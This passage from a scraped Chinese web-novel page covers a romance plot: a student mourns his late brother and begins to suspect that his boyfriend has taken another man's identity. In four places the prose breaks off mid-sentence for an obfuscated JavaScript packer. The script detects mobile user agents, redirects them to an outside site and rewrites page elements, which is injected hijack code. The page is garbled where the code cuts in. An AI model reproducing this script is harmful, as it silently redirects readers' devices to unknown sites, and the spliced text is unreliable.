雨后天晴,阳光沿着树叶的缝隙倾泻而下,投出星星点点的光斑。 祝惊霜静静地注视了一会儿墓碑上的照片,没有流泪,只是红着眼睛微微勾了一下唇:“我谈恋爱了。” “你之前说过我以后恋爱了一定要帮我把关,现在看来做不到了。” 他站起身,张了张唇欲言又止,明明有很多话都想说,却又什么都说不出口。 最后,他深吸一口气,直起身,轻声告别:“再见。” 下山的路上,祝惊霜碰到了一个意想不到的人。 已经数不清是第几次偶遇,祝惊霜想,他和万则越可能确实是有点缘分的。 万则越几乎是一回头就看见了祝惊霜,在人群里祝惊霜总是最显眼的那个,身着最简洁的白色上衣,在熙熙攘攘的人群中显得干净又挺拔。 和父母亲戚打了声招呼,万则越径直超祝惊霜走去。 不等祝惊霜开口,他就主动解释:“我爷爷去年离开了,就葬在这里。” 万则越的身材高而壮实,和祝惊霜并肩走在一起,更衬得祝惊霜纤瘦单薄。 他小心翼翼地窥祝惊霜的脸色,没敢问祝惊霜是来干什么的,来墓园还能是干什么? 祝惊霜的情绪已经平静下来了,刺眼的阳光让他有一分恍惚,过去许多年了,他一直无法心平气和地面对哥哥的离开,有人问起也总是避而不谈。 可他必须面对。 对上万则越小心翼翼窥探的目光,他第一次主动开口:“……我来给我哥扫墓。” 一瞬间万则越如遭雷劈,脸上的笑容也僵住了,大脑几乎已经无法思考,只是凭借着冲动的本能问道:“你有哥哥?你手机相册里的那个十七是你哥?” 祝惊霜的神色立刻变得警惕起来:“你怎么知道?” 他手机里确实有一个相册专门保存和哥哥有关的照片,其中大部分都是他们童年的合照。 随后祝惊霜想起第一次见面时万则越就说那一晚他也在场。 可究竟是多近的距离才能看的那样清楚?为何他没有任何察觉? 本来祝惊霜以为万则越是远远的听见了一两句争吵,可如果是近距离围观,他不可能没有发现。 好一会儿,万则越才找回自己的声音,沙哑而又粗粝:“……对不起。” 祝惊霜罕见地愣了一下:“为什么道歉?” “我当时误会了,我以为,以为……”万则越吸了下鼻子,没有哭,情绪激动的几乎喘不过气,只能再次重复:“对不起。” 他的神色悲伤而熟悉,祝惊霜看在眼里,心里忽然冒出一个令自己不可置信的想法。 随后又被迅速按下,不可能的。 不可能的。 绝对没有可能。 祝惊霜没再追问道歉的含义,加快脚步离开了,万则越也没再继续追,停下脚步望着他逐渐消失的背影。 …… 收到祝惊霜发的消息时,赵牧铭第一眼还以为自己看错了。 谈恋爱以来,祝惊霜从来没有主动找他见面过。 赵牧铭一直知道祝惊霜性格冷淡,所以对此也毫无怨言,毕竟自己每一次主动祝惊霜基本上也都会接受。 这是祝惊霜第一次主动找他。 来到祝惊霜发的地址后,赵牧铭只看了一眼就着急地上前几步:“你怎么穿那么少?” 空气潮湿寒冷,祝惊霜坐在咖啡馆旁边的花坛上,发梢被凉风吹的凌乱,漆黑的发丝摘盖住他苍白的面容。 赵牧铭脱下外套披在他身上,露出精壮结实的手臂肌肉。 祝惊霜忽然仰头,双手勾住他的脖子,主动碰了碰他的唇。 受宠若惊的同时赵牧铭的心底也生出一阵惶恐,他环住面前人的腰,神色惊喜又慌乱,矛盾到五官几乎有些扭曲:“怎么了?你刚刚去哪了?” 祝惊霜看着他的眼睛,里面的担忧和情愫没有任何作假,这让他稍微放了点心。 那个猜想太过离谱,不太可能是真的。 不等祝惊霜回答,赵牧铭又把他往怀里抱了抱:“进去再说吧,外面冷。” 午后的阳光撒在咖啡馆里的木地板上,空气里弥漫着咖啡豆的香味,音乐声轻快而悦耳。 “去看了我哥哥。”祝惊霜慢悠悠地回答完赵牧铭刚刚的问题,又忽然道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403493|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天晚上的事,对不起。” “什么?”赵牧铭过了好几秒才反应过来祝惊霜说的“那天晚上”指的是什么。 虽然在所有人眼里那个和祝惊霜经历那些事情的人从万则越变成了他,但他其实并没有记忆,有的只是“身份”。 祝惊霜已经不止一次提起过那一夜,看来是真的想要解决那晚的误会和争吵,但赵牧铭对此一无所知,怕被察觉不对劲,只能斟酌着旁敲侧击道:“你不用道歉,不是你的错。” 祝惊霜摇了摇头:“我当时反应过激了,因为我那时候……还没能做好坦然提起的准备。” “但我确实是第一次恋爱,这点没有骗你。” 同一时刻,万则越走进咖啡馆,一眼就看见了坐在角落的祝惊霜,以及祝惊霜身边碍眼的高大男人。 他悄悄靠近,坐到了他们后面的位置,高大盆栽刚好挡在两桌之间。 在被赵牧铭偷走部分人生的这段时间,万则越无数次回忆起最后那晚和祝惊霜的争吵,无数次后悔自己的离开。 眼前仿佛又浮现出那一晚祝惊霜冰冷的目光:“你在干什么?” 前后差距太大了,万则越一时之间没有反应过来。 明明不久之前还和颜悦色的。 他有点委屈,又不得不忍气吞声:“没干什么。” 祝惊霜沉默几秒,垂着眸开口:“我不喜欢别人没经过我同意就碰我。” 万则越忍了一会儿还是没忍住,问了一句::你还有哥哥吗?” 他故作轻松:“我一直以为你是独生子。” 祝惊霜防备地看了他一眼:“这和你有什么关系?” 他的态度接近应激,万则越在情绪上一时之间竟然没有发觉。 祝惊霜低着头拿出手机,点开屏幕就是那个名为“十七”的相册。 万则越低头看见大片合照,语气酸溜溜的:“这是谁啊?你朋友吗?还是你的初恋白月光?” “不是。”祝惊霜立刻把手机翻过去,差点打到他的手,以一种对外人的防备姿态冷着脸抿了抿唇:“谁让你乱看我手机的?” 万则越没想到他反应那么大,被他的凌厉刺痛了,他以为这些日子两个人相处还不错,起码也算得上普通朋友了,可是祝惊霜防备的姿态仿佛迎面给了他一拳。 万则越憋了半天说:“你不是说你没谈过恋爱也没喜欢过什么人吗?” 祝惊霜没反应过来他的意思,下意识回了一句:“和你无关。” 疏离的态度让万则越脑子里紧绷的弦彻底崩断了,他几乎失去了理智,不依不饶追问:“我到底哪里不如他?我们认识这么久我根本没听说过你身边有这一号人,他都不联系你你还心心念念他干什么?” “怎么?他就是你心心念念藏在手机里不给人看的宝贝,我就是连听都不配听的人?我就是不配和他比?” “祝惊霜,你为什么要骗我说你没有喜欢过别人?” 祝惊霜反应了好一会儿才听懂他的意思,震惊和怒意瞬间斥满胸膛,全身血液仿佛都开始倒流,气的他也开始口不择言:“对,你不配提起他不配和他比,没有人能比得过他,你满意了吗?” 19. 那晚 万则越感觉心脏被刺的鲜血淋漓,火辣辣的痛,极致的疼痛反而唤回了一丝理智,才想起自己本来是想向祝惊霜表白的。 “对不起,我不是那个意思……”万则越忍着脾气从身后将花束捧到祝惊霜面前,还没来得及开口,花束就被祝惊霜打到了地上。 祝惊霜已经很多年没有那么生气过了,头脑发胀地打断他,说出的每句话都全无理智:“每天追在我身后不就是想睡我吗?指不定背后怎么骂我吧?” 说话时他的唇角勾着抹若有若无的冷笑,看起来再淡定不过,只有他自己知道他其实已经完全无法思考,每句话都是凭着想去刺痛对方的本能。 万则越半跪在地上捡花的动作停顿了,张了张嘴,喉咙如同被火烧一般干涩:“你是这么想我的?” 他不可置信地抬头,无法想象祝惊霜会说出这样的话,却只能看见祝惊霜线条优美的下巴。 哪怕吵成这样了,面前人依旧居高临下,像只清冷高傲的天鹅。 其实话说出口的瞬间连祝惊霜自己都怔了一下,觉得或许说得太过,一贯的骄傲却让他僵在原地,正准备开口解释,就被对方打断了。 万则越的火气也上来了:“你就当我是这样想的好了。” 祝惊霜没想到万则越会承认,心里的那丝愧疚瞬间就烟消云散,气得手都在抖。 说完话万则越就转身离开了,甚至没有等到流星雨降临。 明明放完狠话就走的是他,步伐却急促又狼狈,仿若落荒而逃。 说不出是委屈还是难过,他从来没有和祝惊霜说的那样想过,实际上在背后听到谁说祝惊霜任何一句不好他都要骂回去的。 夜幕低垂,点点繁星划破天际,零落一地的花被风吹散,祝惊霜迟钝地发觉,万则越刚刚是想送花给自己。 如果万则越足够细心,那他会发现祝惊霜睁开眼问自己在干什么时眼眸中的冰冷更像是被迫从美梦中醒来时的一种伤痛与自我保护。 他其实没有隐藏地很好,他的声音都在发颤。 可是这些万则越通通没有发现。 ——“倘若那天,把该说的话好好说,该体谅的不执着……”① 咖啡馆里放着音乐,微苦的咖啡香中万则越紧紧盯着祝惊霜。 他一直想,如果当时他没有气上头顺着祝惊霜的话承认而是听对方解释,一切会不会不一样。 万则越到现在依然不知道赵牧铭是怎么做到偷了他的身份的,但他总觉得如果那一天晚上他没有和祝惊霜分开,今天就不会是这样。 祝惊霜手里握着一杯温热的咖啡,却没有喝,目光盯着咖啡的印花,仿佛陷入回忆:“小时候我爸妈工作忙,常年不在家。” 其实一开始祝惊霜的哥哥并不喜欢这个突然多出来的弟弟,父母工作忙碌,他被迫照顾弟弟。 可是不知道什么时候开始,祝惊霜占据了他所有的心神。 赵牧铭不知道那天晚上发生的事情,也不知道祝惊霜为什么会突然提起这些,只能沉默地听着。 “基本上是我哥把我带大,其实他也只比我大四岁,但他却总让我觉得他无所不能。” 祝惊霜说了很多,说哥哥是怎么教他说话,教他走路,怎么送他上学,又是怎么消失在他的生命里。 他其实一直没有走出来,所以当时被怀疑和哥哥的关系,他没有第一时间去解释,不是不想,只是下意识避免提及。 后面被误会,祝惊霜气急之下只想反击,等到想要解释的时候又被打断,再后来他同意了在一起,赵牧铭却再也没有提过那天晚上,一直拖到今天才将那天晚上的误会解开。 赵牧铭安静听着,从祝惊霜的话里猜测出那天晚上吵架的原因大概是因为万则越将祝惊霜的哥哥误会成了祝惊霜的白月光。 毕竟不是当事人,他怕说多错多,没敢说太多话。 他的谨慎使他显得过分冷静,也让祝惊霜从中察觉到不对。 赵牧铭的态度太过奇怪,虽然全程都在温柔耐心地倾听,但给他的感觉就像是一个旁观者,完全看不出那晚的冲动和激动。 莫名的,祝惊霜冒出一个奇怪的想法。 比起赵牧铭的淡然,反而是万则越的反应更像是那晚和他争吵的人。 在祝惊霜提到哥哥在每年的儿童节都会带他去游乐园玩一天时,赵牧铭的目光闪了闪。 中途祝惊霜停下了喝了口咖啡,杯壁还是温热的,喝入口中却已经凉了。 赵牧铭怕自己一直不说话会显得太过冷漠,想了想主动问道:“你哥哥是个什么样的人?” 祝惊霜下意识想说,是个很温柔的人。 可是他张了张嘴,又把话咽回去了,因为他的哥哥只对他温柔,对包括父母在内的其他人都会显得有些疏离。 很大一方面,祝惊霜的性格冷淡也有哥哥的影响。 晚上赵牧铭送祝惊霜到小区门口,分开的时候祝惊霜看着赵牧铭,一双黑眸被月光映出,想说什么又不知道怎么开口。 “怎么了?”赵牧铭察觉到他的欲言又止,主动询问。 “没事。”祝惊霜摇了摇头。 太过淡定不是错误,他无法质问,只能把挥之不去的怪异感压在心里。 …… 清明假期结束之后紧接而来的是春季运动会,祝惊霜晚上洗完澡后就看见贺栩樾发来的消息。 【讨厌鬼:今年运动会你参加吗?】 去年运动会祝惊霜没参加,还被贺栩樾强制要求坐在观众席给他加油。 【讨厌鬼:猜猜我今年报名了什么】 祝惊霜按照贺栩樾去年报的项目猜测: 【麻烦精:三千米长跑?】 贺栩樾几乎是秒回: 【讨厌鬼:是当评委哦】 【讨厌鬼:[真挚.gif]】 隔着屏幕祝惊霜仿佛都能看见贺栩樾得意的表情,忍不住勾了勾唇。 【麻烦精:你?评委?】 【讨厌鬼:干嘛,我怎么了】 【讨厌鬼:我很厉害的好吧,去年拿了不少奖呢】 【讨厌鬼:其实我也不想的,但是去年体育学院拿奖太多了,今年直接不给我们报了,说对其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403494|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他专业的不公平,我只能去当评委了】 【讨厌鬼:[可怜.jpg]】 祝惊霜不置可否,引用了贺栩樾第一句话的问题回复: 【麻烦精:不报】 【麻烦精:我有个比赛,要赶作品】 【讨厌鬼:对了,据说你男朋友和你舍友到时候要打篮球赛,你准备给谁加油?[阴险][阴险]】 大二和大三的队伍是分开的,也就是说晏恒洲和赵牧铭不在一队。 贺栩樾的消息刚发完没几秒,祝惊霜就收到了赵牧铭的邀约,倒是没说是和他舍友打篮球赛,只问他有没有时间去看。 单手打了个“好”字发过去,祝惊霜又切回贺栩樾的对话框,问他是哪个舍友。 【讨厌鬼:双双你不是吧,你的舍友你都问我?】 祝惊霜放下手机,扭头对着宿舍其他人问了一声:“你们运动会要打篮球赛?” 方宸大大咧咧回道:“我没报,你问问他们。” “我也没报。” “我记得恒洲好像要去?” “怎么突然问这个?惊霜你想去?” 祝惊霜摇了摇头:“不是,是我男朋友要去。” …… 正说着,阳台门开了,晏恒洲进门的动作顿住,毛骨悚然道:“你们怎么都用这种眼神看着我?我脸上有东西?” 一打开门发现所有人都在向自己行注目礼,他一时之间都有些不敢进来,以为在自己洗澡的这段时间发生了什么。 方宸“嘿嘿”笑了两声,另一个舍友说:“你要和惊霜的男朋友打比赛?” “哦,对啊。”晏恒洲一听见是这件事,瞬间不慌了,慢条斯理地坐到祝惊霜旁边的椅子上:“咋了?” “你打的过吗,连学弟都打不过会不会很丢人?”一个舍友故意道。 “当然打的过,瞧不起谁?”晏恒洲不服气地回怼,扭头看见祝惊霜同样用怀疑的眼光看着自己,不知道想到了什么,笑得不怀好意:“祝惊霜,到时候我赢了你男朋友,你会不会生气?” “我生什么气。”祝惊霜莫名其妙:“你赢了就赢了呗。” 看见面前人满脸得意,仿佛已经胜筹在握,他忍不住反唇相讥:“倒是你,输了不会破防吧。” “怎么会呢。”晏恒洲挑了挑眉,阴阳怪气:“我是怕你为了你男朋友不理我。” 方宸忍不住插嘴:“平时霜儿也不怎么理你啊,不是你自己在那上蹿下跳。” 闻言其他舍友都乐不可支,晏恒洲翻了个白眼,祝惊霜微微弯了弯眉。 “所以你那天会来看我们比赛对吧?”晏恒洲盯着祝惊霜纤长卷翘的睫毛,在看见对方点头后不自觉唇角上扬:“等着看我怎么把你男朋友打的落花流水。” 祝惊霜手机收到消息,看了一眼眉头瞬间蹙起,没有了和晏恒洲继续扯皮的心思。 他最近要参加一个比赛,初稿在刚刚被打回来了,指导老师说他画的人物没有神韵,建议他换个主题,改画场景。 但他不想放弃,越是画不好他越想继续攻克。 20. 试探 运动会那天赵牧铭提前了很久去篮球场,热身的时候就一直在东张西望。 “看什么呢。”队友看他一副心不在焉的模样,忍不住打趣道:“一脸思春样。” 赵牧铭没心思理会他,皱着眉满心焦灼,随口敷衍了一句:“找我男朋友。” “你男朋友?就是那个美术学院的学长?”队友立刻来了兴趣,态度也变得热忱:“他今天也会来?是来给你加油的吗?” 赵牧铭并不意外队友知道祝惊霜,祝惊霜不管是专业水平还是外貌都十分出众,在表彰名单和表白墙也都是常客。 但他对队友过于热情的态度却有些警惕,故意端着一副正牌男友的作态得意道:“当然。” 看他那幅得意洋洋的姿态,队友忍不住在心里暗暗腹诽,等你被甩了看你还笑不笑得出来。 其实赵牧铭长得并不难看,五官算得上俊朗,年轻的眉眼看起来很有朝气,因为经常运动所以肤色是小麦色,身材也高大壮实。 但要配祝惊霜,还是不太够。 队友不说话了,赵牧铭继续在场馆内寻找祝惊霜的身影,只可惜手机都放在休息室了,没法打电话或者发消息,只能干着急。 可直到比赛开始,他都没有看见熟悉的身影。 …… 祝惊霜是在准备出门的时候收到万则越的消息的,只有没头没尾的一句话。 【万则越:你现在在哪?我接你去见个人】 祝惊霜慢吞吞地打字回复: 【祝惊霜:你是不是发错人了】 【万则越:没有!】 【万则越:你最近是不是瓶颈期,我保证去了以后你绝对就能画出来了。】 【万则越:我约了好久才把人约出来的,是你一直想见的人,你去了绝对不会后悔】 万则越好说歹说,祝惊霜最后还是同意了。 主要是有点好奇万则越口中那个他一直想见的人是谁。 给赵牧铭打了几次电话都没打通,祝惊霜猜测对方可能是已经放好手机准备上场了,便发了条消息过去。 【祝惊霜:我有点事,今天就不去了】 等到了校门口,祝惊霜果然看见万则越开着车在等他。 “这是你的车?” “没错。”从看见祝惊霜开始,万则越的眼睛就一眨不眨地盯着他,闻言忍不住臭屁道:“二十一岁全款拿下,什么实力。” 祝惊霜今天穿了一件浅绿色的荷叶边吊带衬衣,轻薄的防晒衣遮住了如雪一般白的肩,搭配上同色系的短裤,衬得他清冷的面容都多了几分青春活力。 其实祝惊霜今天本来是为了看赵牧铭比赛才专门打扮了一下,但已经准备出门了就懒得再换成休闲服了。 “你二十一岁了?”祝惊霜唇角上扬,扣好安全带瞥了他一眼。 万则越收回目光,把车开出去的同时还在拌嘴:“等到今年十月三十一就二十一岁了,也没差几个月。” 脑海中有什么一闪而过,祝惊霜嘴角的弧度拉平:“你是十月三十一号生日的?” 他忽然想起,当时他不知道为什么默认赵牧铭的生日是十月三十一号。 “对啊,我不是和你说过。”万则越还没反应过来,说完后才想起,在祝惊霜的记忆里和他说过生日的是赵牧铭,而不是自己。 果然,祝惊霜立刻反驳:“你什么时候说的?” 万则越笑得嘴角都僵了,眼睛盯着前方,握着方向盘的手心里渗出了汗:“前年万圣节,我问你能不能看在那天是我生日的份上,赏脸陪我一起吃顿饭。” 说完后他的心几乎跳到了嗓子眼,紧张地等待祝惊霜的回复。 空气安静了几秒,祝惊霜的声音才响起,依然是那样平静淡然:“瞎说,前年我们都还不认识。” 这一刻万则越竟有种松了口气的感觉,却又难免感到几分失落,便只笑了笑,全当玩笑话轻飘飘带过了这个话题。 “到了。” 万则越先下车,打开了祝惊霜那边的车门,笑容灿烂:“我保证这个人是你想见的。” “要不是呢?你要怎么办?”祝惊霜故意道。 万则越望着他漆黑的长发,眼神专注又温柔:“不是的话,任君差遣。” 下车后祝惊霜立刻就看见了前面的小洋房,但他对这里没有任何印象。 直到一个白发苍苍的老人从房子里走了出来,布满皱纹的面容依稀能看出年轻时的影子。 祝惊霜搭在万则越手臂上的手顿住了,表情还有些怔愣,口中已经下意识吐出称呼:“老师。” …… 中场休息的时候,赵牧铭看见祝惊霜的消息,担心对方身体不舒服或者出了什么事情,但打电话没人接,只好发消息询问。 【赵牧铭:什么事?很紧急吗,需不需要我来找你?】 【赵牧铭:小霜?】 没发几句,休息时间就结束了,上场前赵牧铭没忍住喊住对面队伍的晏恒洲:“祝惊霜在哪?” 晏恒洲早就发现祝惊霜今天没来,其实他也不知道原因,还在心里奇怪祝惊霜今天早上不还是一副准备来给男朋友加油的样子吗。 但他故意装作清楚的模样,挑衅地笑着说:“你男朋友你不知道在哪?还要来问别的男人?你这个男朋友不称职啊。” 赵牧铭抬起拳头就想打过去,被队友七手八脚拦住了:“快上场了,你冷静点。” 晏恒洲完全没躲,轻嗤一声:“怂。” 赵牧铭立刻不管不顾就想一拳打上去,几个队友都险些没按住,好不容易把他和晏恒洲拉远,一个队友在他旁边大声喊:“你可是队里的主力,你甘心因为打架不能上场输了比赛吗?” 见赵牧铭动作有所减缓,队友再接再厉,循循善诱:“因为这种理由输了比赛,到时候你在你男朋友面前多丢人啊,惊霜学长说不定还会觉得你太过冲动易怒,这不是得不偿失?” 赵牧铭终于冷静下来:“你说得对,他说这些不过就是嫉妒罢了。” 队友心里疑惑,自己什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403495|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候说过这些话,但也只能应和,先稳住赵牧铭把比赛打完再说。 …… 祝惊霜没想到万则越找来的竟然是哥哥离世前的家庭教师,那时候他还小,对方偶尔也教他一些简单的知识,也算是他的老师。 数年过去了,对方当年只是泛白的鬓角已经全部染白。 那个老师依旧和多年前一样和蔼,看着祝惊霜感慨:“没想到一转眼你都那么大了。” 他没有说很多,只是带着祝惊霜看了一些之前祝惊霜哥哥上课时写的纸条还有作业本,和祝惊霜说了一会儿当年给他哥哥上课时发生的趣事。 “……我现在还记得呢,那时候你哥上课上到一半突然像屁股着火一样跳起来,我问他怎么了,他说他忘记给你热牛奶了。” “我问他下了课再热不行吗,他说下了课你都睡着了,他不忍心把你喊醒。” 祝惊霜听到这的时候也笑了:“我哥总是怕我长不高,每天睡前都会逼我喝一杯热牛奶。” 从小洋房出来,他回头对上老人慈祥的目光,一直说不出口的话忽然就有勇气说出来了:“老师,对不起。” 老人没有露出意外的神色,也没有问他为什么道歉,只是招了招手,示意自己知道了。 回去的路上,祝惊霜的心情依旧没有平静下来。 “我就说是你想见的人吧。”万则越怕一直安静会让他想起难过的事情,故意语气轻松地开口。 祝惊霜笑了一下,很认真地说了句“谢谢”。 他很感谢万则越,也知道万则越能找到那个老师肯定费了很大一番功夫。 开着车窗吹了会儿风,清醒之后他也开始起疑。 祝惊霜只在“赵牧铭”追自己时提过一次,自己小时候有个家庭教师,讲课讲得很好,但是后面出了点事,那个老师出国了联系不上了。 因为不想解释,所以他把哥哥的家庭教师说成了自己的,没说出的事情是哥哥刚去世的那段时间里,他对于一切和哥哥有关的事情都有剧烈的应激,还在那个老师来看他时反应得非常抗拒。 后面他想要道歉,但是那个老师已经出国联系不上了。 “你是怎么知道我想要找他的?”祝惊霜侧头盯着万则越的表情,开口试探道。 万则越没想好怎么解释,便只故作神秘地说了一句:“我就是知道。” 其实也是凑巧,有一次万则越去亲戚家做客,当时还有别的客人,其中有个老人看见万则越的手机屏幕觉得眼熟,说好像教过。 万则越立刻联想到了祝惊霜之前说的那个老师,问了几个问题都对上了,瞬间欣喜若狂想让他们见一面。 老人一开始拒绝了,倒不是记恨祝惊霜,而是觉得过去的事情没必要再提,但后面拗不过万则越还是无奈点了头。 祝惊霜垂下眼帘,纤长的睫毛在他脸上打出错落的阴影。 万则越不知道他有没有起疑,想了半天怎么试探,最后超不经意间开口,还差点咬到舌头:“你和你男朋友最近怎么样?” 21. 起疑 说完万则越就想给自己一巴掌,这都什么问题。 “很好啊,怎么了?”祝惊霜关上车窗,把冷风关在外面。 万则越硬着头皮继续问:“我记得之前问你是不是因为那天晚上的事情才答应你男朋友,你没否认。” 祝惊霜的声音里依然带着未散的愉悦:“你想说什么?” 万则越心一横,趁着红绿灯把话说了出来:“仅仅因为那天晚上的事情就答应是不是太草率了,你可能不是喜欢只是愧疚呢?” 说话时他满脸正气,好像真的觉得只是愧疚就不该答应。 这次祝惊霜陷入沉默的时间更长了,直到绿灯亮了,车一路开回了学校,他才在打开车门后轻飘飘回了一句: “我不知道你是什么意思,我很爱我的男朋友。” …… 回到宿舍刚打开门,祝惊霜就听见方宸的大喊大叫:“霜儿你男朋友和晏恒洲打起来了!” “什么?”祝惊霜还没整理好凌乱的思绪,闻言愣了一下。 在方宸添油加醋手舞足蹈的讲述中,祝惊霜好不容易才提取关键信息搞明白发生了什么。 并不是真的打架,而是篮球比赛的时候晏恒洲犯规撞了赵牧铭,赵牧铭受了伤,现在正在医务室。 方宸说的口干舌燥,喝了口水抱怨了一句:“你今天去哪了,给你打了好多电话你都没接。” 祝惊霜这才想起自己今天都没看手机,赶紧拿出一直开着免打扰的手机。 “你不会一直都没看手机吧?”方宸都被他屏幕上密密麻麻的未读信息震了一下,忍不住发出感慨:“没想到现在还有人能够大半天都不看一眼手机的,我十分钟不看手机都心慌。” 祝惊霜大概翻完了消息,基本上都是问他在哪的,令他比较意外地是晏恒洲也发了消息问他怎么没来。 看时间,应该是比赛开始前给他发的。 “你刚刚说赵牧铭在医务室?”祝惊霜抬起头,漆黑的眼珠澄澈明亮,透着平静的光。 得到肯定后,他带上手机就往外走,刚进门没多久连鞋都没来得及脱,甚至都不需要再穿。 医务室里有几个休息间,赵牧铭在最里面的那间房。 祝惊霜经过第一个休息间时,隔着门隐约听见了熟悉的声音,情不自禁停下脚步。 晏恒洲也受伤了? 门内的晏恒洲浑然不知祝惊霜就在站在门口,声音依然是一贯的拽:“我没事,这点小伤还来医务室干什么。” “还装呢,刚刚是谁包扎的时候龇牙咧嘴的?”另一个人不屑道。 嘲笑了一会儿晏恒洲,他突然安静几秒,低声问:“你想好怎么和惊霜解释了吗?” 祝惊霜听出说话的人是宿舍里和晏恒洲关系最好的那个舍友,扬了扬眉,倒是不急着走了。 闻言晏恒洲反应很激烈,嗓门都放大了:“我和他解释什么?我又不欠他。” 另一个舍友没说话,晏恒洲沉默了一下,声音放缓:“再说吧,他不是说不会为了男朋友生我气吗。” 舍友疑惑:“惊霜原话是这样说的吗?” 被拆穿以后晏恒洲有些恼羞成怒:“他生气就生气,我本来就讨厌他,还担心他生气吗?” 舍友似乎是嗤笑了一声:“你也就骗骗你自己了。” 话音刚落,门就被打开了,晏恒洲以为是校医,漫不经心地一抬头,顿时吓得手一抖,拿着的玻璃杯差点摔到地上。 房间里只开了一盏灯,明黄色的灯光从头顶映下,将祝惊霜精致的轮廓照上一层朦胧的光,衬得他五官更加漂亮。 而此刻他推门走到床边,映着微光的眼瞳里是漆黑的冰凉,在昏暗的光线下简直像个假人。 好一会儿晏恒洲才找回自己的声音:“……你怎么在这。” 说出口他才发现自己声音有点哑,清了清嗓子,再开口时依然是阴阳怪气的语气:“不去看你男朋友,来找我干什么?” 祝惊霜微微蹙眉,盯着他语气平静:“你是故意的?” “什么?”晏恒洲没反应过来。 祝惊霜又耐心的,一个字一个字慢慢道:“你是故意撞他的?” 晏恒洲张了张嘴像是想解释些什么,脸色都涨成了猪肝色,最后却只是仿佛赌气一般丢下几个字:“随你怎么想。” 祝惊霜冷着脸等了几秒,转身就走。 下一秒他就听见背后晏恒洲咬牙切齿的声音: “我真是太讨厌你这种人了,永远一副高高在上的样子。” 祝惊霜停住脚步,回头时神色依旧倨傲,吐出的每个字都带着满满的凌厉:“我当然知道你讨厌我,不然也不会明知道我被锁住却转头就走。” 另一个舍友在一旁默默围观他们的剑拔弩张,一句话也插不上,却意外地看见在祝惊霜说完这段话后晏恒洲的脸色变得前所未有的慌乱。 “你知道是我?”莫名的失措在一瞬间席卷了全身,晏恒洲几乎无法控制表情。 心口涌现出复杂的酸涩,祝惊霜避开他的眼神:“我记得你的鞋子。” …… 祝惊霜是知道晏恒洲讨厌自己的。 其实在一开始,他以为晏恒洲只是单纯因为一直被自己压一头而不服气。 直到那一天。 祝惊霜从小到大拿过大大小小的奖数不胜数,所以只依稀记得那天似乎是要去参加一个省里的比赛。 名额很少,整个学校都只有个位数的名额。 而他和晏恒洲就在其中。 但祝惊霜在去的路上遭遇了一点意外。 学校有安排大巴车统一接送,但不强制要求每个人,祝惊霜就申请了单独过去。 半路,祝惊霜坐的车被追尾了,索性人没有大事。 但距离开始时间已经很近了,这边一时半会搞不好,祝惊霜只能另外打车过去。 好在还来得及,到了之后祝惊霜上完厕所正准备去考场,却突然发现厕所门坏了,他出不去了。 祝惊霜试探性地喊了几声,可外面一片寂静。 距离开考还有五分钟的时候,外面有人路过,似乎听见了里面的声响,走了进来。 祝惊霜从底下的缝看见了一双眼熟的鞋子,蓝白配色,是晏恒洲很珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403496|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的那双限量款跑鞋。 祝惊霜松了口气,想让对方去找老师。 但晏恒洲没有说话。 外面安静了几秒,来人的内心仿佛在承受巨大的煎熬。 祝惊霜的心也一点一点沉了下去。 现在回忆起来,祝惊霜其实已经不会有太多感觉。 凭心而论,并不是晏恒洲把他锁在厕所的,是他自己不小心,晏恒洲和他一直都争锋相对,还是竞争对手,不想帮他也情有可原。 祝惊霜很早就学会了独立,学会了不去期待他人,不会抱有太多希望,也不会太过失望。 但那一天他真正清楚了晏恒洲对自己有多讨厌,他也同样非常反感对方。 晏恒洲不知道为什么自己会那么害怕被祝惊霜知道,那天那个在门外经过的人是自己。 到现在他依然清晰地记得那天发生的一切,当时他听见了祝惊霜的声音正准备去找老师求助时,却忽然想起出门前父母说的话。 